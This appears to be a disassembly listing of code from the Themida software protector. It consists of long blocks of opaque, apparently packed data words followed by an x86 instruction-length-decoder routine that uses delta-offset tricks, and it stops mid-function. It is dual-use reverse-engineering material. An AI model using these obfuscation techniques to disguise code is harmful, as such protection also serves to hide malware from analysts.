		dd 0EF3539BBh, 29BEFA31h, 1FA8C350h, 8F330348h,	9CAA258Fh
		dd 0EF27207Bh, 58CAE431h, 378C3B74h, 0CA8EA0D7h, 1FDC9088h
		dd 0D840E621h, 0A74B9D50h, 6AB882BDh, 0E911A50Ch, 2B2D968Bh
		dd 85E58D37h, 0ECDD6831h, 0CF359C31h, 666C8D68h, 6E31037Dh
		dd 0F231B775h, 0AE35C931h, 0D3062760h, 0AEE63465h, 57D22E9Dh
		dd 6B3A5C3Ah, 0EF354E5Ch, 0EF3529D9h, 0CA11A831h, 55AFFC3Dh
		dd 0A247C56Dh, 0B15B2ABBh, 0A285A4BCh, 7679A2Eh, 0EF354E37h
		dd 0F1B5C4EFh, 11BEA016h, 0EC8D906Fh, 8935E431h, 102E308Fh
		dd 0B93553D2h, 0EF359FD9h, 2C6B6E31h, 0CB41AE6Fh, 0CB711235h
		dd 0EF35D335h, 2C63A231h, 0B4F266C5h, 0B838E417h, 0EF3592D9h
		dd 3631DA31h, 35B92563h, 3855593h, 0B0105F0Eh, 0EF5FA76Eh
		dd 0EF369A60h, 0B6153931h, 0A3BCC5F2h, 0ABB44A15h, 0EF212315h
		dd 0BE749331h, 52B8CFF2h, 0E9119DE8h, 928BFFBCh, 928D3F15h
		dd 0DCBFD76Dh, 0F038F7B4h, 2EFA0C37h, 0DA72B8D8h, 0C9E9115Eh
		dd 5DD2B01Eh, 318533EDh, 31ECDDB5h, 68CF3572h, 0E9836CFAh
		dd 8BA4F305h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0EEF49E71h, 0E95639E2h, 12h, 48B13A9Fh
		dd 7DE47179h, 0BB87C32Eh, 0C0868A5Bh, 0F5FA202h, 484h
		dd 26BE6600h, 55006A81h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 3DC91E4Ah, 0C38BF848h, 8B90E280h
		dd 52006AC0h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0C1BD8342h, 61F06h, 0BD830975h, 61F1F51h
		dd 50197400h, 0B8C08B53h, 47Ah,	13958589h, 9D8D061Fh, 621B00Bh
		dd 585BD3FFh, 1F51BD83h, 7400061Fh, 0B8535017h,	47Ah, 13958589h
		dd 9D8D061Fh, 621ACACh,	585BD3FFh, 0FA8B6650h, 0E9C08B5Ah
		dd 266h, 0D98C6660h, 0F04C1F6h,	3584h, 0FF016A00h, 1F20D9B5h
		dd 93858D06h, 0FF062279h, 1D8589D0h, 8B061F08h,	0CEFC1FEh
		dd 6000068h, 6A006A20h,	0D685702h, 0FF000100h, 1F081D95h
		dd 32E906h, 85C60000h, 61F2025h, 30DF6856h, 0B5FFA9C5h
		dd 61F3271h, 7993858Dh,	0D0FF0622h, 0EA98589h, 858D061Fh
		dd 61F2CBDh, 6A406A50h,	95FF5605h, 61F0EA9h, 0C361h
		dd 2 dup(0)
		dd 8B520000h, 428B60D4h, 3A858908h, 8B06247Fh, 85890C42h
		dd 6247F32h, 8910428Bh,	247F3685h, 70B58D06h, 8D06247Fh
		dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 7F3AB58Bh, 858B0624h
		dd 6247F32h, 7F36BD83h,	0F000624h, 784h, 0E9068900h, 2
		dd 0CF0688h, 0
		dd 52000000h, 8B60D48Bh, 85890842h, 6247F3Ah, 7FC1B58Dh
		dd 858D0624h, 5B7E35h, 5A61D0FFh, 7F3A858Bh, 4C20624h
		dd 3A858B00h, 8B06247Fh, 3A858900h, 0CF06247Fh,	0
		dd 97B58960h, 8906247Fh, 247F9385h, 0F9858D06h,	8B061F31h
		dd 85894440h, 6247FD0h,	8006B58Dh, 858D0624h, 5B7E35h
		dd 8B61D0FFh, 247F9785h, 9D8BC306h, 6247F93h, 3C43B70Fh
		dd 5B8BD803h, 939D0378h, 8B06247Fh, 0B5032473h,	6247F93h
		dd 207B8B56h, 31C738Bh,	247F93BDh, 93B50306h, 0FC06247Fh
		dd 41FFC983h, 7F979D8Bh, 178B0624h, 7F939503h, 0C7830624h
		dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h,	43FFFFFFh
		dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h
		dd 86048B0Fh, 7F938503h, 85890624h, 6247F97h, 0CE8BF08Bh
		dd 0BD81C18Bh, 6247FD0h, 0C0300000h, 0D850Fh, 0E8C10000h
		dd 0FFC2514h, 8E90000h,	0C1000000h, 0F82512E8h,	8B00003Fh
		dd 247FD0BDh, 70C8306h,	7148B06h, 8124C28Bh, 0C18B813Ch
		dd 57840Fh, 0BD810000h,	6247FD0h, 0C0300000h, 0D850Fh
		dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h
		dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h
		dd 81000000h, 247FD0BDh, 30000006h, 0E840FC0h, 25000000h
		dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 6247F3Eh,	0E318589h
		dd 858D061Fh, 6247FD4h,	2BBD8589h, 858D061Fh, 6247F9Bh
		dd 2BE58589h, 8D8D061Fh, 6248224h, 89F88B66h, 1F0B5D8Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0C801BE60h, 6B2DA878h, 0EE9h, 82277700h
		dd 715B589Dh, 7012DFD6h, 0C789A6B1h, 1F20C585h,	6DA006h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0EFE794D2h, 11E85E47h, 0D0000000h, 44EDF1BEh
		dd 0E871B5EBh, 6DB31E34h, 1648A8EDh, 2D958589h,	0C75A061Fh
		dd 1F137D85h, 6, 15B5FF00h, 6A061F1Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 2FCAC356h
		dd 0B5890C9Ah, 61F0A91h, 1065B58Bh, 95FF061Fh, 61F2D59h
		dd 0F98B6660h, 5BF38B53h, 0FF006A61h, 1F1D4595h, 0EBC08B06h
		dd 0FA5D2C3Bh, 0AE6FB3Dh, 0F0048D14h, 3FF10025h, 5C2CB905h
		dd 0F74F4913h, 244E307Ah, 0E3E4EF8Eh, 1E6A4F86h, 0E333A2E9h
		dd 395C3247h, 0A2228744h, 0C90EF47Eh, 0DB2B4F4Dh, 0C784504Bh
		dd 83438D8Dh, 0BD310624h, 61F1905h, 0B5D8D89h, 6A061Fh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 635D57C3h, 85C7351Bh, 61F20C5h, 5B14h, 1EE19D8Bh, 85C7061Fh
		dd 61F137Dh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0C1C35242h
		dd 1E80E3DEh, 59D63327h, 324CEB81h, 7E85393h, 48000000h
		dd 8CDE20E0h, 9D898CD6h, 61F0745h, 75B5FF58h, 6A061F15h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0BAD6C352h, 0FF5B5060h, 1F2D5995h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 8589CFBFh, 61F2E75h,	95FF006Ah, 61F1D45h, 0FEBC08Bh
		dd 0C0CD8996h, 0B28E71C3h, 9E2E9ECBh, 0EB2AE61Bh, 2Dh
		dd 0AE0DD000h, 0F2319CBFh, 0A5ADF9DFh, 528C88A7h, 0B7FB75h
		dd 0ADF99CBEh, 89937EE5h, 8168009Dh, 0BD146726h, 0E03503B2h
		dd 19E937CEh, 6800000Bh, 624847Eh, 0FAF9EDE9h, 85E468FFh
		dd 0E3E90624h, 68FFFAF9h, 62486EBh, 0FAF9D9E9h,	87BA68FFh
		dd 0CFE90624h, 68FFFAF9h, 6248862h, 0FAF9C5E9h,	898468FFh
		dd 0BBE90624h, 68FFFAF9h, 6248A3Bh, 0FAF9B1E9h,	8C2368FFh
		dd 0A7E90624h, 68FFFAF9h, 6248D23h, 0FAF99DE9h,	0B54C60FFh
		dd 0D42B7A3Eh, 0F011995Dh, 0BF4B579h, 2BD6D094h, 0A7AE68B4h
		dd 0C78B02FFh, 0E8AC23ECh, 6CA41C0h, 1EE75EA1h,	1F21F9A5h
		dd 7CB419AFh, 0ECBC7C09h, 9B911F93h, 0AC50D050h, 0FB4E721Ah
		dd 34E0593Ch, 15F593EAh, 7838B165h, 9559D02Fh, 0DE5BED12h
		dd 0E87A951Eh, 6EC91C40h, 0D1E2A21Bh, 5404AC3Eh, 721AAC53h
		dd 0B829D54Eh, 3D1C1A16h, 51871089h, 50945296h,	8E3E62CAh
		dd 0AB6FE619h, 1A7103FCh, 53FF781Dh, 2238B79Eh,	0A010772Bh
		dd 23E441BBh, 9806E8Dh,	0E5C70000h, 0C4E1A51Ch,	0AA00C43Bh
		dd 8D1CE057h, 6F37FB72h, 15CF1B92h, 0F46B9610h,	158C8330h
		dd 33AA5751h, 50C7386Fh, 8A620E87h, 1D19AF1Dh, 624572E5h
		dd 50570B9Dh, 22AB38AFh, 0D3A19E76h, 597D311Fh,	0E35C3106h
		dd 0F0A92237h, 69FBAF15h, 0F2A7F5C9h, 2DC5B25h,	74426039h
		dd 6D8D09h, 0A21A0000h,	4AB5F495h, 0F36C10B8h, 3FEAA6Ah
		dd 18AA5753h, 0BB04C70h, 7815F081h, 0C06B43EFh,	4AFE25F2h
		dd 792DED26h, 7142F688h, 0C0640C9Eh, 16EA8A1Ch,	7C25F2C1h
		dd 9A673FFFh, 0F7B06008h, 7569E408h, 745DF3C6h,	397A3A09h
		dd 0CC7D5501h, 5C1025F2h, 5A7E26B8h, 0F9C1h, 0AF023800h
		dd 0E6C1CB31h, 0C9663EEAh, 45F925F2h, 7C1A7DA1h, 0F418F7BCh
		dd 239C6344h, 0F5B14263h, 2ED27A0Ch, 3ED0F49Ch,	96818BC1h
		dd 9E145EFDh, 25DCCA7Ah, 37C8DF93h, 3DB6F1A5h, 5004966Bh
		dd 7119AB56h, 25B229CDh, 97BB4465h, 0D34F2AFBh,	906F381Fh
		dd 0AD525519h, 1273C41Bh, 32DA6C93h, 0F069158Eh, 8515F05Eh
		dd 0A04CEEC5h, 25F25DC8h, 5F03A75Bh, 0BC71B0E6h, 0CADA32F9h
		dd 6FC82FA6h, 0BDF5A11Ah, 501C1337h, 45E91890h,	0EB0D43CCh
		dd 0D5C06770h, 8224D4F8h, 26CA3773h, 46BBEBAFh,	19887DDFh
		dd 3352E8FAh, 81Ah, 3FB64B61h, 5ED52A7Bh, 7AF1109Ah, 950CF3B6h
		dd 0B52CD5D1h, 0A6AF69h, 0EDC68A01h, 0C1E7AB22h, 0A205C940h
		dd 0A41DE65Dh, 0AF1D20F8h, 87BB319h, 481A467Ch,	0E8DAC2DEh
		dd 1936E38h, 21853559h,	2A569E0h, 0E5C484FDh, 0BCE0881Ah
		dd 0BC7CCE45h, 0D88012EDh, 0B3D661B4h, 80E98E3Ah, 0E29615F0h
		dd 5C34E069h, 0EF25F2C0h, 0E585173Bh, 25F2C111h, 55E6F877h
		dd 9745D04h, 0CDA9h, 62453600h,	4F570B9Dh, 6DA320B2h, 0CD1F0623h
		dd 2BC7EB29h, 1FD3305Ah, 49C03F68h, 55ACFCBCh, 0D9268131h
		dd 9541CA47h, 1FD330BDh, 25789C50h, 26FEAA12h, 0B91FD331h
		dd 5FE86105h, 0FF467B29h, 0F61A7DD2h, 0F074E15Ah, 0EFB67615h
		dd 0CD5FA204h, 47EF8125h, 72C52CA3h, 97FAA61Fh,	441C13E1h
		dd 4F571790h, 205931DDh, 38EC2C14h, 6EF77094h, 0E5EA1538h
		dd 6E928D62h, 0A219E8BEh, 0D239C8DEh, 0FA669D7Ah, 131C3BD1h
		dd 5A000007h, 7438AF52h, 9357CE31h, 0AF73EA17h,	0CA8E05FAh
		dd 62AE25DCh, 1A5A8h, 21EEC589h, 3FC2E6AAh, 5CA304C8h
		dd 0F7A31CE5h, 19AF1C1Fh, 45077AB2h, 9E27A061h,	0D3A21AF2h
		dd 0D5F9AD1Fh, 0F20D9A5Eh, 6245047Bh, 50570B9Dh, 2F7636AFh
		dd 72963ED0h, 0A1774BFBh, 4FE81FD3h, 238C13Ah, 0CEC22CB6h
		dd 6C082C20h, 15F5ADE8h, 0A666DF93h, 0C26AFC03h, 4265259Eh
		dd 248444BDh, 3C593E5Bh, 3DE19D83h, 0DE8A03ABh,	25F88506h
		dd 4AC1E599h, 5D092186h, 25F88485h, 47C06418h, 50E21F87h
		dd 2CCA8826h, 701401D6h, 0D463BA4Ch, 0C7CD233Fh, 0D77B9B7Dh
		dd 0F50C9E5Eh, 6FBAF63h, 19C53E62h, 1C14C8F4h, 0F886EDA1h
		dd 7BFA65CBh, 644C6E5h,	218B0000h, 0A569E0h, 0E6C488FFh
		dd 0C9E0A41Bh, 0ABFBBF36h, 0D993DF56h, 0B82FD2D4h, 0D950BFF4h
		dd 0F76E9315h, 148B7433h, 4E26D24Bh, 0E119AF1Ah, 624536A9h
		dd 50570B9Dh, 1E991DAFh, 0C46298C0h, 3BA4701Bh,	55520226h
		dd 308933AAh, 0FDF094C7h, 32F0C874h, 0CF831FD3h, 1312ABh
		dd 0C9890000h, 9AFD21DEh, 199DAh, 1D8D4D00h, 86AA52E4h
		dd 0CB467C23h, 131BAF64h, 0CDA13D61h, 3E1FD387h, 6F1B94F9h
		dd 15F60BF6h, 9E5ED78Bh, 0BB7FF609h, 2A8113ECh,	630F880Dh
		dd 1C15143Eh, 48D037EBh, 0BBFA659Fh, 59C0625h, 0C9E30000h
		dd 0A8FDC138h, 8E1CE057h, 7138FC73h, 5353178Eh,	31EB37AEh
		dd 10877A2Ch, 31A8674Ch, 4FC63B6Dh, 6CE31C8Bh, 0A67E2AA3h
		dd 3919AF19h, 62458E01h, 0EF9B249Dh, 1FD3A217h,	9D7521AAh
		dd 301FD3A1h, 83B2D87Ch, 0BC1C4F5Fh, 69E6789Ch,	6DFF00A9h
		dd 0B6F1A1C5h, 0B833B749h, 47ACFB26h, 84FB9F60h, 943E9FDAh
		dd 192EF0h, 7CBB0000h, 0A16F47F3h, 4E021FD3h, 0A15129D5h
		dd 30E41FD3h, 0D4F10Ch,	0A27A0000h, 0C7870095h,	86FF23ECh
		dd 0F62690DAh, 9642CB15h, 25F825BEh, 0BBED9D51h, 0E80CB446h
		dd 0C282FBAFh, 0DFA31AE5h, 28A537C8h, 9EC23D68h, 4327EC4Bh
		dd 286EF779h, 5363486Eh, 7A236217h, 14D45DD6h, 33DB6D94h
		dd 0C302730Fh, 0C7871C1Ah, 57E22DFh, 16E9BC7Ch,	9A6542F2h
		dd 0B7485F23h, 0D8277E3Eh, 60848B28h, 0C1C077CEh, 5E881AE7h
		dd 0E989FAEDh, 0CB6F13B0h, 0ED149252h, 0BF093BC7h, 3C600318h
		dd 1E6217C3h, 66EF223Ah, 3C5EE2BAh, 1DC17532h, 4E523CB6h
		dd 0E20197E4h, 47Ah, 9F16EBC1h,	0BE35CADBh, 0DA51B0FAh
		dd 0F56C9316h, 158C7531h, 0A0060FC9h, 8D26EA61h, 61470B82h
		dd 426529A0h, 47D46BDh,	0AF188058h, 68DB1319h, 13EDAh
		dd 95A26300h, 3EFE8700h, 60089A75h, 2656A03Ch, 1DD115F6h
		dd 3CC3E4A4h, 59A601C5h, 0C2C770C7h, 0F78AC049h, 4D797378h
		dd 20E1C777h, 18EF60FCh, 0B4741C1Bh, 0F26B0FF2h, 138A7532h
		dd 2EA7584Fh, 37C9386Eh, 82D96B8Fh, 3167E0B5h, 0CD67114h
		dd 0D42B7E7Ah, 0A930C30h, 16C01AD4h, 21D12CCBh,	0BA567A87h
		dd 22399305h, 855D0992h, 18323BD2h, 0FF2B464h, 0CA31D57Dh
		dd 0E44EDE9Ah, 0C3EC0BA1h, 0A000003h, 24E85FA2h, 43077E81h
		dd 5F239A67h, 7A3EB54Ah, 125ED52Ch, 0B0515558h,	0D13E7539h
		dd 0EF12965Ah, 0CF3B478h, 0A753CC95h, 19AF17CFh, 45B72A62h
		dd 441CC862h, 0D71FD3A1h, 39ED7F23h, 4BFF916Eh,	5D11A35Ch
		dd 1C26B849h, 5CDC518Dh, 8324FDE1h, 1E5B057Ch, 0AFF094BCh
		dd 5Fh,	73D1F026h, 4937B199h, 0E50B3BF1h, 365A3E5Ah, 95A2D3h
		dd 88245187h
		dd 0AC258E26h, 1F630F88h, 0CA15F07Bh, 0CDDD9D16h, 32788B28h
		dd 0E872BCFh, 7B01D985h, 8C1D25F2h, 2B7A3A73h, 0F69A42D4h
		dd 0D6AB5BD2h, 2325F27Ah, 7B16EE9Ah, 0F5A925F2h, 798621D1h
		dd 956C3E02h, 308E403h,	456D0000h, 580C9E63h, 7539B04Fh
		dd 0C36FF832h, 1FD3A1EBh, 562ECA7Eh, 0E91FD3A1h, 4BFF9135h
		dd 9F2CA35Ch, 0AC535616h, 0FED6721Ah, 1A1FD3A1h, 7B3B748Bh
		dd 0C30D42Dh, 920B7EB9h, 0F0A9D1E6h, 8BE81E15h,	0D973AFF7h
		dd 681C5579h, 0E2BA66EFh, 7525F2FDh, 6B0B9DC1h,	25F2FD97h
		dd 0E5C080FDh, 0BCE0881Ah, 0DB9E9D41h, 0F209741Ch, 30h
		dd 95A27Fh, 8136DB87h, 2FE315F0h, 4760209Dh, 5A7E26B8h
		dd 0F2C1EABEh, 0DD15025h, 0AEE6154Bh, 8DBA4F74h, 0BE86D369h
		dd 0D3270974h, 0B4000000h, 249D6245h, 6B83EFEEh, 0E2924A52h
		dd 1A93BC6h, 0F974BDDh,	0ADE360F2h, 152DB8ADh, 0FED682D5h
		dd 911FD30Ch, 651539DDh, 772BBD42h, 0A858CF30h,	1FD310D7h
		dd 0C43DC2E5h, 0E103658Eh, 6D547FD6h, 0F6496F18h, 52560643h
		dd 50148BAFh, 0BF16A857h, 0F09C1578h, 15F06BC7h, 8411883Ch
		dd 0B24EB64Eh, 7EA48256h, 9EE9478Dh, 0A7FA1EDBh, 0C484FD90h
		dd 7EF71BE6h, 136EF7D2h, 67E0941Ch, 8B02FFA7h, 0BB22DFC7h
		dd 0FA66E2DDh, 0DBD3F288h, 22000001h, 3C00778Ah, 5B1F9669h
		dd 773BB24Fh, 9256CD32h, 2A76ED14h, 0C8396D70h,	0E9268D51h
		dd 7FAAE72h, 24DBCC90h,	0BF6BE4ADh, 19AF15E7h, 45CF427Ah
		dd 9C29A061h, 8326CDDCh, 9E42EA7Ch, 22DDCA7Ah, 95A234ABh
		dd 36DB8700h, 0E315F081h, 97209D2Fh, 0F2C213EBh, 0CCF2A625h
		dd 57254825h, 0A541652Ah, 25F32DD1h, 3226B837h,	3BCD3472h
		dd 80D96F93h, 2D0974C8h, 0D4h, 9D6245BAh, 0DCCE8E0Bh, 55510125h
		dd 0A97A1AACh, 0B71FD3A5h, 0A4D88DF0h, 0B061325Ah, 0D208950Ch
		dd 49FA447Eh, 0D383A7B4h, 0F2B22BD4h, 96284CB3h, 0E3D09019h
		dd 2CB8902Ch, 0D2D41FD4h, 1E42F62Fh, 0B0296CCBh, 0F141DB04h
		dd 259C5015h, 9B1479BEh, 14AEAFEFh, 259E521Ch, 34CBDC9Ch
		dd 694AFAA2h, 0D4D282A6h, 0B4F2B62Dh, 0FF2B878h, 6139D57Dh
		dd 0F42C14EDh, 0E9189040h, 0A40BAF57h, 0FA67A5ECh, 0DBB2D167h
		dd 22000000h, 3C00778Ah, 5B1F9669h, 773BB24Fh, 9256CD32h
		dd 2A76ED14h, 0C8396D70h, 0E9268D51h, 7FAAE72h,	24DBCC90h
		dd 0BF6BE4ADh, 19AF14E7h, 45CF427Ah, 41451E61h,	78BD74E1h
		dd 10D05DD4h, 0EE6929Ah, 0A11FD326h, 752549EDh,	0DF56CD32h
		dd 0B9D6245h, 2EDA5057h, 1FD3A156h, 1A9135E9h, 28D9CD8Dh
		dd 386B104h, 268CDE8Ah,	17D715F6h, 144D718Eh, 2607DF8Bh
		dd 822325F8h, 0EC90447Dh, 0FE01A65Ah, 793AFA87h, 1F47096h
		dd 0E3051174h, 67980FBFh, 9B8935D5h, 0A837CF62h, 43BCEB36h
		dd 609F08CCh, 708F1ACEh, 847B2ADEh, 99683EF2h, 6DE8A07h
		dd 9957E2DCh, 8E50DFE5h, 4C92119Fh, 0B42DD2D5h,	264AB5F4h
		dd 43BCEBAFh, 0C92B1h, 0A71B0000h, 0CF4AF42Ah, 0D29B2406h
		dd 67454BAEh, 5354089Ah, 42661AACh, 3A792DBFh, 178F43D5h
		dd 2A458EAh, 0F0B96DFFh, 0E1C97D0Fh, 0CBDA8E20h, 6886A234h
		dd 6973h, 52242C89h, 0C281E289h, 4, 8704EA83h, 895C2414h
		dd 6E682404h, 89000038h, 0E5682414h, 8B062483h,	0C4832404h
		dd 148B5404h, 4C48124h,	51000000h, 0BB53C189h, 8, 0B89D301h
		dd 148B595Bh, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 5324048Bh, 0C381E389h, 4, 8704C383h,	0E95C241Ch, 0FFFAEEEAh
		dd 4CF61BCEh, 692EC3C7h, 0C4A06480h, 248E23B8h,	0FFC50306h
		dd 1A96F0E0h, 0E5AFA66Ch, 0BBB1DA15h, 6263E473h, 0D4492C5Ah
		dd 6BE4D914h, 49CEEA00h, 92803722h, 4287F932h, 0BEA32753h
		dd 992A645Bh, 7E0CE927h, 0E42C7828h, 99F25335h,	90306239h
		dd 4CC2DD2Dh, 0FCE1515Bh, 18008C05h, 0BB0E5333h, 0E604560Ah
		dd 0CA116A4Bh, 6F380F1Fh, 0B170763Eh, 26A17A32h, 7FCEA91Ch
		dd 1A990D06h, 0F9561634h, 0AB2E956Dh, 0A299412Ah, 0D9421E04h
		dd 5DE5365Eh, 0EA485321h, 14E800h, 0BBEE0000h, 1C7007D0h
		dd 887B356Fh, 819778Bh,	1361A4B6h, 11E9B43Ch, 27000000h
		dd 38ABA0D1h, 0C30946DAh, 0B320AB48h, 7E9A314Fh, 81DA8B58h
		dd 6BA6C0h, 58E0F00h, 0BB000000h, 7A59EA20h, 0DE8BF62Bh
		dd 81303C8Bh, 6A446EEBh, 0B6F78166h, 604018B3h,	57578CB3h
		dd 81615F5Ah, 1323B8F7h, 81F98A05h, 991071C7h, 0CA8B6623h
		dd 8B303C89h, 8107B1D0h, 0E94CDAEEh, 6ADA8049h,	4CD6C681h
		dd 0C38149E9h, 28292432h, 951CFE81h, 850FFFFFh,	18h, 0E9EDCA80h
		dd 2Ch,	7F5D3BB0h, 7B7F38F6h, 0F49CA68Ah, 0E2348C24h, 0E9DBBF0Fh
		dd 0FFFFFF90h, 3036BD8Dh, 0AB13564Ah, 5A39DACDh, 0B0FFF05Eh
		dd 921A22CFh, 1C8E9h, 8	dup(41888800h),	4 dup(0)
		dd 880000h, 91C400h, 11111100h,	11111111h, 8899C911h, 88888888h
		dd 88h,	60000h,	444400h, 4100h,	11111100h, 44444411h, 88029944h
		dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
		dd 0
		dd 88h,	888888h, 80000000h, 88888800h, 888h, 8888800h
		dd 88888808h, 88h, 0
		dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
		dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
		dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
		dd 89h,	88888000h, 88888880h, 88888888h, 88888880h, 88888088h
		dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h,	0
		dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
		dd 100h, 14h dup(0)
		dd 6380C300h, 7577EDh, 100h, 11h dup(0)
		dd 353E900h, 0E8550000h, 0
		dd 0D0ED815Dh, 60062491h, 911D85C7h, 624h, 81660000h, 0FA1663Eh
		dd 0F85h, 2185C700h, 6062491h, 0E9000000h, 24h,	9125858Dh
		dd 8D500624h, 24917585h, 6A565006h, 1DE800h, 0C4830000h
		dd 0FF2510h, 85890000h,	6249121h, 21B50361h, 8B062491h
		dd 24911D85h
		db 6, 5Dh, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_586F54
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_586F60
; ---------------------------------------------------------------------------


loc_586F54:				; CODE XREF: Themida_:00586F3Dj
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_586F60:				; CODE XREF: Themida_:00586F4Fj
		push	ebx
		push	esi
		push	edi


loc_586F63:				; CODE XREF: Themida_:00586FB8j
					; Themida_:00586FD4j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_586F76:				; CODE XREF: Themida_:00586F9Dj
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6249287h
		lea	ebp, [ebp+62490FDh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_586FA3
		inc	cl
		cmp	cl, 0Bh
		jb	loc_586F76


loc_586FA3:				; CODE XREF: Themida_:00586F92j
		cmp	cl, 0Bh
		jz	loc_587000
		cmp	al, 66h
		jnz	loc_586FE1
		cmp	byte ptr [ebp-5], 0
		jnz	loc_586F63
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_586FD9
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_586F63
; ---------------------------------------------------------------------------


loc_586FD9:				; CODE XREF: Themida_:00586FC6j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_586FE1:				; CODE XREF: Themida_:00586FAEj
		cmp	al, 67h
		jnz	loc_586F63
		cmp	byte ptr [ebp-6], 0
		jnz	loc_586F63
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_586F63
; ---------------------------------------------------------------------------


loc_587000:				; CODE XREF: Themida_:00586FA6j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_58702C
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_587031
; ---------------------------------------------------------------------------


loc_58702C:				; CODE XREF: Themida_:0058700Bj
		movzx	edi, al
		shr	edi, 1


loc_587031:				; CODE XREF: Themida_:00587027j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 624933Fh
		lea	ebp, [ebp+6248FFDh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5871B3
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5870F7
		dec	ecx
		jz	loc_5870DA
		dec	ecx
		jnz	loc_58714A
		cmp	byte ptr [ebp-2], 0
		jnz	loc_587146
		cmp	byte ptr [ebp-5], 0
		jz	loc_5870B9
		mov	byte ptr [ebp+0Bh], 2


loc_5870B9:				; CODE XREF: Themida_:005870AFj
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 62493CBh
		mov	dword ptr [ebp+624911Dh], 1
		pop	ebp
		jmp	loc_58714A
; ---------------------------------------------------------------------------


loc_5870DA:				; CODE XREF: Themida_:00587094j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_587124
		cmp	byte ptr [ebp-5], 0
		jz	loc_587124
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_587124
; ---------------------------------------------------------------------------


loc_5870F7:				; CODE XREF: Themida_:0058708Dj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_58713D
		cmp	byte ptr [ebp-5], 0
		jz	loc_58712C
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_587124
		mov	[ebp+0Bh], cl


loc_587124:				; CODE XREF: Themida_:005870DEj
					; Themida_:005870E8j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_58714A
; ---------------------------------------------------------------------------


loc_58712C:				; CODE XREF: Themida_:00587105j
		cmp	dl, 5
		jnz	loc_58714A
		mov	[ebp+0Bh], dl
		jmp	loc_58714A
; ---------------------------------------------------------------------------


loc_58713D:				; CODE XREF: Themida_:005870FBj
		cmp	dl, 6
		jnz	loc_58714A


loc_587146:				; CODE XREF: Themida_:005870A5j
		mov	byte ptr [ebp+0Bh], 3


loc_58714A:				; CODE XREF: Themida_:0058709Bj
					; Themida_:005870D5j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_587178
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


